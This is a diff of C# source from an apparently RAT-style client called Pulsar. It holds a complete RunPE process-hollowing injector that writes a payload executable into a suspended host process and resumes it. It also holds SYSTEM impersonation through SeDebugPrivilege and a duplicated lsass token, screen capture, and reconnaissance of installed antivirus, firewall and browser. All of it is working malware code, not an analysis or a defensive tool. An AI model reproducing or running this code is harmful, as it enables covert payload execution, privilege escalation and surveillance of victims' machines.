private static extern bool Wow64GetThreadContext(IntPtr thread, int[] context);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool GetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool SetThreadContext(IntPtr hThread, ref CONTEXT64 lpContext);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CreateProcessA(string applicationName, string commandLine, IntPtr processAttributes, IntPtr threadAttributes,
bool inheritHandles, uint creationFlags, IntPtr environment, string currentDirectory, ref StartupInformation startupInfo, ref ProcessInformation processInformation);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool IsWow64Process(IntPtr hProcess, out bool Wow64Process);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int dwSize, out int lpNumberOfBytesRead);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, int nSize, out int lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("ntdll.dll", SetLastError = true)]
static extern int ZwUnmapViewOfSection(IntPtr hProcess, IntPtr pBaseAddress);
// For 32-bit compatibility
[DllImport("kernel32.dll", SetLastError = true)]
static extern int VirtualAllocEx(IntPtr handle, int address, int length, int type, int protect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(IntPtr process, int baseAddress, byte[] buffer, int bufferSize, ref int bytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool ReadProcessMemory(IntPtr process, int baseAddress, ref int buffer, int bufferSize, ref int bytesRead);
[DllImport("ntdll.dll", SetLastError = true)]
static extern int ZwUnmapViewOfSection(IntPtr process, int baseAddress);
#region Structures
[StructLayout(LayoutKind.Sequential, Pack = 0x1)]
private struct ProcessInformation
{
public IntPtr ProcessHandle;
public IntPtr ThreadHandle;
public uint ProcessId;
public uint ThreadId;
}
[StructLayout(LayoutKind.Sequential, Pack = 0x1)]
private struct StartupInformation
{
public uint Size;
private readonly string Reserved1;
private readonly string Desktop;
private readonly string Title;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 0x24)] private readonly byte[] Misc;
private readonly IntPtr Reserved2;
private readonly IntPtr StdInput;
private readonly IntPtr StdOutput;
private readonly IntPtr StdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct M128A
{
public ulong High;
public long Low;
}
[StructLayout(LayoutKind.Sequential, Pack = 16)]
public struct XSAVE_FORMAT64
{
public ushort ControlWord;
public ushort StatusWord;
public byte TagWord;
public byte Reserved1;
public ushort ErrorOpcode;
public uint ErrorOffset;
public ushort ErrorSelector;
public ushort Reserved2;
public uint DataOffset;
public ushort DataSelector;
public ushort Reserved3;
public uint MxCsr;
public uint MxCsr_Mask;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public M128A[] FloatRegisters;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public M128A[] XmmRegisters;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)]
public byte[] Reserved4;
}
[StructLayout(LayoutKind.Sequential, Pack = 16)]
public struct CONTEXT64
{
public ulong P1Home;
public ulong P2Home;
public ulong P3Home;
public ulong P4Home;
public ulong P5Home;
public ulong P6Home;
public uint ContextFlags;
public uint MxCsr;
public ushort SegCs;
public ushort SegDs;
public ushort SegEs;
public ushort SegFs;
public ushort SegGs;
public ushort SegSs;
public uint EFlags;
public ulong Dr0;
public ulong Dr1;
public ulong Dr2;
public ulong Dr3;
public ulong Dr6;
public ulong Dr7;
public ulong Rax;
public ulong Rcx;
public ulong Rdx;
public ulong Rbx;
public ulong Rsp;
public ulong Rbp;
public ulong Rsi;
public ulong Rdi;
public ulong R8;
public ulong R9;
public ulong R10;
public ulong R11;
public ulong R12;
public ulong R13;
public ulong R14;
public ulong R15;
public ulong Rip;
public XSAVE_FORMAT64 FltSave;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)]
public M128A[] VectorRegister;
public ulong VectorControl;
public ulong DebugControl;
public ulong LastBranchToRip;
public ulong LastBranchFromRip;
public ulong LastExceptionToRip;
public ulong LastExceptionFromRip;
}
#endregion
public static bool Execute(string hostPath, byte[] payload)
{
ProcessInformation pi = new ProcessInformation();
try
{
Debug.WriteLine($"[RunPE] Starting execution with host: {hostPath}");
Debug.WriteLine($"[RunPE] Payload size: {payload.Length} bytes");
// Validate PE signature
if (payload.Length < 0x40 || payload[0] != 'M' || payload[1] != 'Z')
{
Debug.WriteLine("[RunPE] Invalid PE file - missing MZ signature");
return false;
}
StartupInformation si = new StartupInformation();
si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation)));
// CREATE_SUSPENDED | CREATE_NO_WINDOW
Debug.WriteLine("[RunPE] Creating suspended process...");
if (!CreateProcessA(hostPath, string.Empty, IntPtr.Zero, IntPtr.Zero, false, 0x00000004 | 0x08000000, IntPtr.Zero, null, ref si, ref pi))
{
int error = Marshal.GetLastWin32Error();
Debug.WriteLine($"[RunPE] CreateProcessA failed with error: {error}");
return false;
}
Debug.WriteLine($"[RunPE] Process created successfully. PID: {pi.ProcessId}");
try
{
// Determine if target process is WOW64 (32-bit on 64-bit OS)
bool isTargetWow64 = false;
if (Environment.Is64BitOperatingSystem)
{
IsWow64Process(pi.ProcessHandle, out isTargetWow64);
}
Debug.WriteLine($"[RunPE] Target process is {(isTargetWow64 ? "32-bit (WOW64)" : "64-bit")}");
// Check payload architecture
int fileAddress = BitConverter.ToInt32(payload, 0x3C);
ushort machine = BitConverter.ToUInt16(payload, fileAddress + 4);
bool isPayload64Bit = (machine == 0x8664);
Debug.WriteLine($"[RunPE] Payload architecture: {(isPayload64Bit ? "x64" : "x86")} (Machine: 0x{machine:X})");
// Validate architecture compatibility
if (isPayload64Bit && isTargetWow64)
{
Debug.WriteLine("[RunPE] ERROR: Cannot inject 64-bit payload into 32-bit host!");
return false;
}
if (!isPayload64Bit && !isTargetWow64)
{
Debug.WriteLine("[RunPE] ERROR: Cannot inject 32-bit payload into 64-bit host!");
return false;
}
bool success;
if (isTargetWow64)
{
success = Execute32Bit(pi, payload, fileAddress);
}
else
{
success = Execute64Bit(pi, payload, fileAddress);
}
if (success)
{
Debug.WriteLine("[RunPE] Resuming thread...");
ResumeThread(pi.ThreadHandle);
Debug.WriteLine("[RunPE] Execution successful!");
}
return success;
}
catch (Exception ex)
{
Debug.WriteLine($"[RunPE] Exception during injection: {ex.Message}");
if (pi.ProcessHandle != IntPtr.Zero)
TerminateProcess(pi.ProcessHandle, 1);
return false;
}
finally
{
if (pi.ProcessHandle != IntPtr.Zero)
CloseHandle(pi.ProcessHandle);
if (pi.ThreadHandle != IntPtr.Zero)
CloseHandle(pi.ThreadHandle);
}
}
catch (Exception ex)
{
Debug.WriteLine($"[RunPE] Outer exception: {ex.Message}");
if (pi.ProcessHandle != IntPtr.Zero)
{
TerminateProcess(pi.ProcessHandle, 1);
CloseHandle(pi.ProcessHandle);
}
if (pi.ThreadHandle != IntPtr.Zero)
CloseHandle(pi.ThreadHandle);
return false;
}
}
private static bool Execute32Bit(ProcessInformation pi, byte[] payload, int fileAddress)
{
Debug.WriteLine("[RunPE] Using 32-bit injection method...");
int[] context = new int[0xB3];
context[0] = (int)CONTEXT_INTEGER;
if (!Wow64GetThreadContext(pi.ThreadHandle, context))
{
Debug.WriteLine($"[RunPE] Wow64GetThreadContext failed: {Marshal.GetLastWin32Error()}");
return false;
}
int ebx = context[0x29];
Debug.WriteLine($"[RunPE] EBX: 0x{ebx:X}");
int readWrite = 0;
int baseAddress = 0;
if (!ReadProcessMemory(pi.ProcessHandle, ebx + 0x8, ref baseAddress, 0x4, ref readWrite))
{
Debug.WriteLine($"[RunPE] ReadProcessMemory failed: {Marshal.GetLastWin32Error()}");
return false;
}
int imageBase = BitConverter.ToInt32(payload, fileAddress + 0x34);
Debug.WriteLine($"[RunPE] Original base: 0x{baseAddress:X}, Target base: 0x{imageBase:X}");
if (imageBase == baseAddress)
{
if (ZwUnmapViewOfSection(pi.ProcessHandle, baseAddress) != 0)
{
Debug.WriteLine("[RunPE] ZwUnmapViewOfSection failed");
return false;
}
}
int sizeOfImage = BitConverter.ToInt32(payload, fileAddress + 0x50);
int sizeOfHeaders = BitConverter.ToInt32(payload, fileAddress + 0x54);
int newImageBase = VirtualAllocEx(pi.ProcessHandle, imageBase, sizeOfImage, 0x3000, 0x40);
if (newImageBase == 0)
{
Debug.WriteLine($"[RunPE] VirtualAllocEx failed: {Marshal.GetLastWin32Error()}");
return false;
}
Debug.WriteLine($"[RunPE] Allocated at: 0x{newImageBase:X}");
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, payload, sizeOfHeaders, ref readWrite))
{
Debug.WriteLine("[RunPE] Failed to write headers");
return false;
}
short numberOfSections = BitConverter.ToInt16(payload, fileAddress + 0x6);
int sectionOffset = fileAddress + 0xF8;
for (int i = 0; i < numberOfSections; i++)
{
int virtualAddress = BitConverter.ToInt32(payload, sectionOffset + 0xC);
int sizeOfRawData = BitConverter.ToInt32(payload, sectionOffset + 0x10);
int pointerToRawData = BitConverter.ToInt32(payload, sectionOffset + 0x14);
Debug.WriteLine($"[RunPE] Section {i}: VA=0x{virtualAddress:X}, RawSize=0x{sizeOfRawData:X}, RawPtr=0x{pointerToRawData:X}");
if (sizeOfRawData > 0 && pointerToRawData > 0)
{
// Bounds check
if (pointerToRawData + sizeOfRawData > payload.Length)
{
Debug.WriteLine($"[RunPE] Warning: Section {i} data exceeds payload bounds, adjusting size");
sizeOfRawData = payload.Length - pointerToRawData;
if (sizeOfRawData <= 0)
{
Debug.WriteLine($"[RunPE] Skipping section {i} - invalid data");
sectionOffset += 0x28;
continue;
}
}
byte[] sectionData = new byte[sizeOfRawData];
Buffer.BlockCopy(payload, pointerToRawData, sectionData, 0, sizeOfRawData);
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase + virtualAddress, sectionData, sectionData.Length, ref readWrite))
{
Debug.WriteLine($"[RunPE] Failed to write section {i}");
return false;
}
Debug.WriteLine($"[RunPE] Section {i} written successfully");
}
sectionOffset += 0x28;
}
byte[] pointerData = BitConverter.GetBytes(newImageBase);
if (!WriteProcessMemory(pi.ProcessHandle, ebx + 0x8, pointerData, 0x4, ref readWrite))
{
Debug.WriteLine("[RunPE] Failed to update PEB");
return false;
}
int entryPoint = BitConverter.ToInt32(payload, fileAddress + 0x28);
context[0x2C] = newImageBase + entryPoint;
Debug.WriteLine($"[RunPE] Entry point: 0x{context[0x2C]:X}");
if (!Wow64SetThreadContext(pi.ThreadHandle, context))
{
Debug.WriteLine($"[RunPE] Wow64SetThreadContext failed: {Marshal.GetLastWin32Error()}");
return false;
}
return true;
}
private static bool Execute64Bit(ProcessInformation pi, byte[] payload, int fileAddress)
{
Debug.WriteLine("[RunPE] Using 64-bit injection method...");
CONTEXT64 context = new CONTEXT64();
context.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(pi.ThreadHandle, ref context))
{
Debug.WriteLine($"[RunPE] GetThreadContext failed: {Marshal.GetLastWin32Error()}");
return false;
}
Debug.WriteLine($"[RunPE] RDX: 0x{context.Rdx:X}");
byte[] pebBuffer = new byte[8];
int bytesRead = 0;
if (!ReadProcessMemory(pi.ProcessHandle, (IntPtr)((long)context.Rdx + 16), pebBuffer, 8, out bytesRead))
{
Debug.WriteLine($"[RunPE] ReadProcessMemory failed: {Marshal.GetLastWin32Error()}");
return false;
}
long originalBase = BitConverter.ToInt64(pebBuffer, 0);
long imageBase = BitConverter.ToInt64(payload, fileAddress + 0x30);
Debug.WriteLine($"[RunPE] Original base: 0x{originalBase:X}, Target base: 0x{imageBase:X}");
if (originalBase == imageBase)
{
if (ZwUnmapViewOfSection(pi.ProcessHandle, (IntPtr)originalBase) != 0)
{
Debug.WriteLine("[RunPE] ZwUnmapViewOfSection failed");
return false;
}
}
int sizeOfImage = BitConverter.ToInt32(payload, fileAddress + 0x50);
int sizeOfHeaders = BitConverter.ToInt32(payload, fileAddress + 0x54);
IntPtr newImageBase = VirtualAllocEx(pi.ProcessHandle, (IntPtr)imageBase, (uint)sizeOfImage, 0x3000, 0x40);
if (newImageBase == IntPtr.Zero)
{
Debug.WriteLine($"[RunPE] VirtualAllocEx failed: {Marshal.GetLastWin32Error()}");
return false;
}
Debug.WriteLine($"[RunPE] Allocated at: 0x{newImageBase.ToInt64():X}");
int bytesWritten = 0;
if (!WriteProcessMemory(pi.ProcessHandle, newImageBase, payload, sizeOfHeaders, out bytesWritten))
{
Debug.WriteLine("[RunPE] Failed to write headers");
return false;
}
short numberOfSections = BitConverter.ToInt16(payload, fileAddress + 0x6);
// PE32+ has a larger optional header (0x108 vs 0xF8 for PE32)
int sectionOffset = fileAddress + 0x108;
for (int i = 0; i < numberOfSections; i++)
{
int virtualAddress = BitConverter.ToInt32(payload, sectionOffset + 0xC);
int sizeOfRawData = BitConverter.ToInt32(payload, sectionOffset + 0x10);
int pointerToRawData = BitConverter.ToInt32(payload, sectionOffset + 0x14);
Debug.WriteLine($"[RunPE] Section {i}: VA=0x{virtualAddress:X}, RawSize=0x{sizeOfRawData:X}, RawPtr=0x{pointerToRawData:X}");
if (sizeOfRawData > 0 && pointerToRawData > 0)
{
// Bounds check
if (pointerToRawData + sizeOfRawData > payload.Length)
{
Debug.WriteLine($"[RunPE] Warning: Section {i} data exceeds payload bounds, adjusting size");
sizeOfRawData = payload.Length - pointerToRawData;
if (sizeOfRawData <= 0)
{
Debug.WriteLine($"[RunPE] Skipping section {i} - invalid data");
sectionOffset += 0x28;
continue;
}
}
byte[] sectionData = new byte[sizeOfRawData];
Buffer.BlockCopy(payload, pointerToRawData, sectionData, 0, sizeOfRawData);
if (!WriteProcessMemory(pi.ProcessHandle, (IntPtr)((long)newImageBase + virtualAddress), sectionData, sectionData.Length, out bytesWritten))
{
Debug.WriteLine($"[RunPE] Failed to write section {i}");
return false;
}
Debug.WriteLine($"[RunPE] Section {i} written successfully ({bytesWritten} bytes)");
}
sectionOffset += 0x28;
}
byte[] newImageBaseBytes = BitConverter.GetBytes((long)newImageBase);
if (!WriteProcessMemory(pi.ProcessHandle, (IntPtr)((long)context.Rdx + 16), newImageBaseBytes, 8, out bytesWritten))
{
Debug.WriteLine("[RunPE] Failed to update PEB");
return false;
}
int entryPoint = BitConverter.ToInt32(payload, fileAddress + 0x28);
context.Rcx = (ulong)((long)newImageBase + entryPoint);
Debug.WriteLine($"[RunPE] Entry point: 0x{context.Rcx:X}");
if (!SetThreadContext(pi.ThreadHandle, ref context))
{
Debug.WriteLine($"[RunPE] SetThreadContext failed: {Marshal.GetLastWin32Error()}");
return false;
}
return true;
}
}
}
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,18 @@
using System;
namespace Pulsar.Client.Helper.ScreenStuff.DesktopDuplication
{
/// <summary>
/// Exception thrown when an error occurs during desktop duplication operations.
/// </summary>
public class DesktopDuplicationException : Exception
{
public DesktopDuplicationException(string message) : base(message)
{
}
public DesktopDuplicationException(string message, Exception innerException) : base(message, innerException)
{
}
}
}
@@ -0,0 +1,57 @@
using System;
using System.Drawing;
namespace Pulsar.Client.Helper.ScreenStuff.DesktopDuplication
{
/// <summary>
/// Provides image data, cursor data, and image metadata about the retrieved desktop frame.
/// </summary>
public class DesktopFrame
{
/// <summary>
/// Gets the bitmap representing the last retrieved desktop frame. This image spans the entire bounds of the specified monitor.
/// </summary>
public Bitmap DesktopImage { get; internal set; }
/// <summary>
/// Gets a list of the rectangles of pixels in the desktop image that the operating system moved to another location within the same image.
/// </summary>
/// <remarks>
/// To produce a visually accurate copy of the desktop, an application must first process all moved regions before it processes updated regions.
/// </remarks>
public MovedRegion[] MovedRegions { get; internal set; }
/// <summary>
/// Returns the list of non-overlapping rectangles that indicate the areas of the desktop image that the operating system updated since the last retrieved frame.
/// </summary>
/// <remarks>
/// To produce a visually accurate copy of the desktop, an application must first process all moved regions before it processes updated regions.
/// </remarks>
public Rectangle[] UpdatedRegions { get; internal set; }
/// <summary>
/// The number of frames that the operating system accumulated in the desktop image surface since the last retrieved frame.
/// </summary>
public int AccumulatedFrames { get; internal set; }
/// <summary>
/// Gets the location of the top-left-hand corner of the cursor. This is not necessarily the same position as the cursor's hot spot, which is the location in the cursor that interacts with other elements on the screen.
/// </summary>
public Point CursorLocation { get; internal set; }
/// <summary>
/// Gets whether the cursor on the last retrieved desktop image was visible.
/// </summary>
public bool CursorVisible { get; internal set; }
/// <summary>
/// Gets whether the desktop image contains protected content that was already blacked out in the desktop image.
/// </summary>
public bool ProtectedContentMaskedOut { get; internal set; }
/// <summary>
/// Gets whether the operating system accumulated updates by coalescing updated regions. If so, the updated regions might contain unmodified pixels.
/// </summary>
public bool RectanglesCoalesced { get; internal set; }
}
}
@@ -0,0 +1,23 @@
using System.Drawing;
namespace Pulsar.Client.Helper.ScreenStuff.DesktopDuplication
{
/// <summary>
/// Describes the movement of an image rectangle within a desktop frame.
/// </summary>
/// <remarks>
/// Move regions are always non-stretched regions so the source is always the same size as the destination.
/// </remarks>
public struct MovedRegion
{
/// <summary>
/// Gets the location from where the operating system copied the image region.
/// </summary>
public Point Source { get; internal set; }
/// <summary>
/// Gets the target region to where the operating system moved the image region.
/// </summary>
public Rectangle Destination { get; internal set; }
}
}
@@ -0,0 +1,15 @@
using SharpDX.DXGI;
namespace Pulsar.Client.Helper.ScreenStuff.DesktopDuplication
{
internal class PointerInfo
{
public byte[] PtrShapeBuffer;
public OutputDuplicatePointerShapeInformation ShapeInfo;
public SharpDX.Point Position;
public bool Visible;
public int BufferSize;
public int WhoUpdatedPositionLast;
public long LastTimeStamp;
}
}
@@ -0,0 +1,149 @@
using Pulsar.Client.Config;
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Drawing.Imaging;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace Pulsar.Client.Helper
{
public static class ScreenHelperCPU
{
private const int SRCCOPY = 0x00CC0020;
private const int CURSOR_SHOWING = 0x00000001;
private static readonly int CursorInfoSize = Marshal.SizeOf(typeof(CURSORINFO));
[StructLayout(LayoutKind.Sequential)]
public struct POINT
{
public int X;
public int Y;
}
[StructLayout(LayoutKind.Sequential)]
public struct CURSORINFO
{
public int cbSize;
public int flags;
public IntPtr hCursor;
public POINT ScreenPosition;
}
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool GetCursorInfo(out CURSORINFO pci);
[DllImport("user32.dll")]
private static extern bool DrawIcon(IntPtr hDC, int X, int Y, IntPtr hIcon);
[DllImport("gdi32.dll")]
private static extern bool BitBlt(IntPtr hdcDest, int nXDest, int nYDest, int nWidth, int nHeight, IntPtr hdcSrc, int nXSrc, int nYSrc, int dwRop);
[DllImport("gdi32.dll")]
private static extern IntPtr CreateDC(string lpszDriver, string lpszDevice, string lpszOutput, IntPtr lpInitData);
[DllImport("gdi32.dll")]
private static extern bool DeleteDC(IntPtr hdc);
[DllImport("user32.dll", SetLastError = true)]
private static extern bool SetThreadDesktop(IntPtr hDesktop);
public static Bitmap CaptureScreen(int screenNumber, bool setThreadPointer = false)
{
if (setThreadPointer)
{
SetThreadDesktop(Settings.OriginalDesktopPointer);
}
Rectangle bounds = GetBounds(screenNumber);
Bitmap screen = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb);
using (Graphics g = Graphics.FromImage(screen))
{
IntPtr destDeviceContext = g.GetHdc();
using (var srcDeviceContext = new DeviceContext("DISPLAY"))
{
BitBlt(destDeviceContext, 0, 0, bounds.Width, bounds.Height, srcDeviceContext.Handle, bounds.X, bounds.Y, SRCCOPY);
DrawCursor(destDeviceContext, bounds);
}
g.ReleaseHdc(destDeviceContext);
}
return screen;
}
private static void DrawCursor(IntPtr destDeviceContext, Rectangle bounds)
{
var cursorInfo = new CURSORINFO { cbSize = CursorInfoSize };
if (GetCursorInfo(out cursorInfo) && cursorInfo.flags == CURSOR_SHOWING)
{
DrawIcon(destDeviceContext, cursorInfo.ScreenPosition.X - bounds.X, cursorInfo.ScreenPosition.Y - bounds.Y, cursorInfo.hCursor);
}
}
public static Rectangle GetBounds(int screenNumber)
{
var rects = DisplayManager.GetAllMonitorRects();
if (screenNumber < 0 || screenNumber >= rects.Count)
throw new ArgumentOutOfRangeException(nameof(screenNumber));
var r = rects[screenNumber];
return new Rectangle(r.left, r.top, r.right - r.left, r.bottom - r.top);
}
private class DeviceContext : IDisposable
{
public IntPtr Handle { get; }
public DeviceContext(string deviceName)
{
Handle = CreateDC(deviceName, null, null, IntPtr.Zero);
}
public void Dispose()
{
DeleteDC(Handle);
}
}
}
public class DisplayManager
{
[DllImport("user32.dll")]
public static extern bool EnumDisplayMonitors(IntPtr hdc, IntPtr lprcClip, MonitorEnumProc lpfnEnum, IntPtr dwData);
public delegate bool MonitorEnumProc(IntPtr hMonitor, IntPtr hdcMonitor, ref Rect lprcMonitor, IntPtr dwData);
[StructLayout(LayoutKind.Sequential)]
public struct Rect
{
public int left;
public int top;
public int right;
public int bottom;
}
public static int GetDisplayCount()
{
int count = 0;
EnumDisplayMonitors(IntPtr.Zero, IntPtr.Zero,
(IntPtr hMonitor, IntPtr hdcMonitor, ref Rect lprcMonitor, IntPtr dwData) =>
{
count++;
return true;
}, IntPtr.Zero);
return count;
}
public static List<Rect> GetAllMonitorRects()
{
var rects = new List<Rect>();
EnumDisplayMonitors(IntPtr.Zero, IntPtr.Zero,
(IntPtr hMonitor, IntPtr hdcMonitor, ref Rect lprcMonitor, IntPtr dwData) =>
{
rects.Add(lprcMonitor);
return true;
}, IntPtr.Zero);
return rects;
}
}
}
+205
View File
@@ -0,0 +1,205 @@
using Pulsar.Common.Messages;
using Pulsar.Common.Networking;
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
namespace Pulsar.Client.Helper
{
public class SystemElevation
{
private const uint TOKEN_ALL_ACCESS = 0x000F01FF;
private const uint TOKEN_DUPLICATE = 0x00000002;
private const uint TOKEN_QUERY = 0x00000004;
private const int SE_PRIVILEGE_ENABLED = 0x2;
[StructLayout(LayoutKind.Sequential)]
public struct TokPriv1Luid
{
public int Count;
public long Luid;
public int Attr;
}
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool OpenProcessToken(IntPtr processHandle, uint desiredAccess, out IntPtr tokenHandle);
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out long lpLuid);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool AdjustTokenPrivileges(
IntPtr tokenHandle,
bool disableAllPrivileges,
ref TokPriv1Luid newState,
int bufferLength,
IntPtr previousState,
IntPtr returnLength);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool DuplicateToken(IntPtr existingTokenHandle, int impersonationLevel, out IntPtr duplicateTokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool SetThreadToken(IntPtr thread, IntPtr token);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentProcess();
public static void Elevate(ISender client)
{
if (!IsAdministrator())
{
Debug.WriteLine("Run the Command as an Administrator");
client.Send(new SetStatus { Message = "Run the Command as an Administrator" });
return;
}
if (!EnablePrivilege("SeDebugPrivilege"))
{
Debug.WriteLine("Failed to enable SeDebugPrivilege.");
client.Send(new SetStatus { Message = "Failed to enable SeDebugPrivilege." });
return;
}
if (!DuplicateAndSetToken())
{
Debug.WriteLine("Token duplication and impersonation failed.");
client.Send(new SetStatus { Message = "Token duplication and impersonation failed." });
}
else
{
Debug.WriteLine("Token duplication and impersonation successful.");
client.Send(new SetStatus { Message = "Token duplication and impersonation successful." });
}
}
private static bool IsAdministrator()
{
WindowsPrincipal principal = new WindowsPrincipal(WindowsIdentity.GetCurrent());
return principal.IsInRole(WindowsBuiltInRole.Administrator);
}
private static bool EnablePrivilege(string privilege)
{
if (!LookupPrivilegeValue(null, privilege, out long luid))
{
return false;
}
TokPriv1Luid tpLuid = new TokPriv1Luid
{
Count = 1,
Luid = luid,
Attr = SE_PRIVILEGE_ENABLED
};
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, out IntPtr hToken))
{
return false;
}
try
{
return AdjustTokenPrivileges(hToken, false, ref tpLuid, 0, IntPtr.Zero, IntPtr.Zero);
}
finally
{
CloseHandle(hToken);
}
}
private static bool DuplicateAndSetToken()
{
Process lsass = Process.GetProcessesByName("lsass")[0];
if (!OpenProcessToken(lsass.Handle, TOKEN_DUPLICATE | TOKEN_QUERY, out IntPtr hLsassToken))
{
return false;
}
try
{
if (!DuplicateToken(hLsassToken, 2, out IntPtr duplicateTokenHandle))
{
return false;
}
try
{
return SetThreadToken(IntPtr.Zero, duplicateTokenHandle);
}
finally
{
CloseHandle(duplicateTokenHandle);
}
}
finally
{
CloseHandle(hLsassToken);
}
}
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool CloseHandle(IntPtr hObject);
public static void DeElevate(ISender client)
{
if (!IsAdministrator())
{
Debug.WriteLine("Run the Command as an Administrator");
client.Send(new SetStatus { Message = "Run the Command as an Administrator" });
return;
}
if (!DisablePrivilege("SeDebugPrivilege"))
{
Debug.WriteLine("Failed to disable SeDebugPrivilege.");
client.Send(new SetStatus { Message = "Failed to disable SeDebugPrivilege." });
return;
}
if (!RevertToSelf())
{
Debug.WriteLine("Failed to revert to self.");
client.Send(new SetStatus { Message = "Failed to revert to self." });
}
else
{
Debug.WriteLine("Reverted to self successfully.");
client.Send(new SetStatus { Message = "Reverted to self successfully." });
}
}
private static bool DisablePrivilege(string privilege)
{
if (!LookupPrivilegeValue(null, privilege, out long luid))
{
return false;
}
TokPriv1Luid tpLuid = new TokPriv1Luid
{
Count = 1,
Luid = luid,
Attr = 0 // Disable the privilege
};
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, out IntPtr hToken))
{
return false;
}
try
{
return AdjustTokenPrivileges(hToken, false, ref tpLuid, 0, IntPtr.Zero, IntPtr.Zero);
}
finally
{
CloseHandle(hToken);
}
}
[DllImport("advapi32.dll", SetLastError = true)]
public static extern bool RevertToSelf();
}
}
+137
View File
@@ -0,0 +1,137 @@
using Microsoft.Win32;
using Pulsar.Common.Helpers;
using System;
using System.Collections.Generic;
using System.Linq;
using System.Management;
namespace Pulsar.Client.Helper
{
public static class SystemHelper
{
public static string GetUptime()
{
try
{
var explorers = System.Diagnostics.Process.GetProcessesByName("explorer");
if (explorers.Length > 0)
{
// Select the oldest explorer instance (earliest StartTime)
var oldest = explorers.OrderBy(p => p.StartTime).First();
DateTime sessionStart = oldest.StartTime;
TimeSpan uptimeSpan = DateTime.Now - sessionStart;
return $"{uptimeSpan.Days}d : {uptimeSpan.Hours}h : {uptimeSpan.Minutes}m : {uptimeSpan.Seconds}s";
}
else
{
return "Explorer not running";
}
}
catch
{
TimeSpan uptimeSpan = TimeSpan.FromMilliseconds(Environment.TickCount);
return $"{uptimeSpan.Days}d : {uptimeSpan.Hours}h : {uptimeSpan.Minutes}m : {uptimeSpan.Seconds}s";
}
}
public static string GetPcName()
{
return Environment.MachineName;
}
public static string GetAntivirus()
{
try
{
string antivirusName = string.Empty;
// starting with Windows Vista we must use the root\SecurityCenter2 namespace
string scope = "root\\SecurityCenter2";
string query = "SELECT * FROM AntivirusProduct";
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))
{
foreach (ManagementObject mObject in searcher.Get())
{
antivirusName += mObject["displayName"].ToString() + "; ";
}
}
antivirusName = StringHelper.RemoveLastChars(antivirusName);
return (!string.IsNullOrEmpty(antivirusName)) ? antivirusName : "N/A";
}
catch
{
return "Unknown";
}
}
public static string GetFirewall()
{
try
{
string firewallName = string.Empty;
// starting with Windows Vista we must use the root\SecurityCenter2 namespace
string scope = "root\\SecurityCenter2";
string query = "SELECT * FROM FirewallProduct";
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, query))
{
foreach (ManagementObject mObject in searcher.Get())
{
firewallName += mObject["displayName"].ToString() + "; ";
}
}
firewallName = StringHelper.RemoveLastChars(firewallName);
return (!string.IsNullOrEmpty(firewallName)) ? firewallName : "N/A";
}
catch
{
return "Unknown";
}
}
public static string GetDefaultBrowser()
{
try
{
const string registryKey = @"Software\Microsoft\Windows\Shell\Associations\UrlAssociations\http\UserChoice";
using (var key = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(registryKey))
{
string progId = key?.GetValue("ProgId")?.ToString() ?? "";
if (!string.IsNullOrEmpty(progId))
{
var map = new Dictionary<string, string>(StringComparer.OrdinalIgnoreCase)
{
{ "ChromeHTML", "Google Chrome" },
{ "MSEdgeHTM", "Microsoft Edge" },
{ "IE.HTTP", "Internet Explorer" },
{ "FirefoxURL", "Mozilla Firefox" },
{ "BraveHTML", "Brave" },
{ "OperaStable", "Opera" },
{ "VivaldiHTM", "Vivaldi" }
};
foreach (var kvp in map)
{
if (progId.StartsWith(kvp.Key, StringComparison.OrdinalIgnoreCase))
return kvp.Value;
}
// fallback: trim weird suffixes
return progId.Split('-')[0].Replace("URL", "").Replace("HTML", "").Trim();
}
}
}
catch
{
// ignore and fallback
}
return "-";
}
}
}

Some files were not shown because too many files have changed in this diff Show More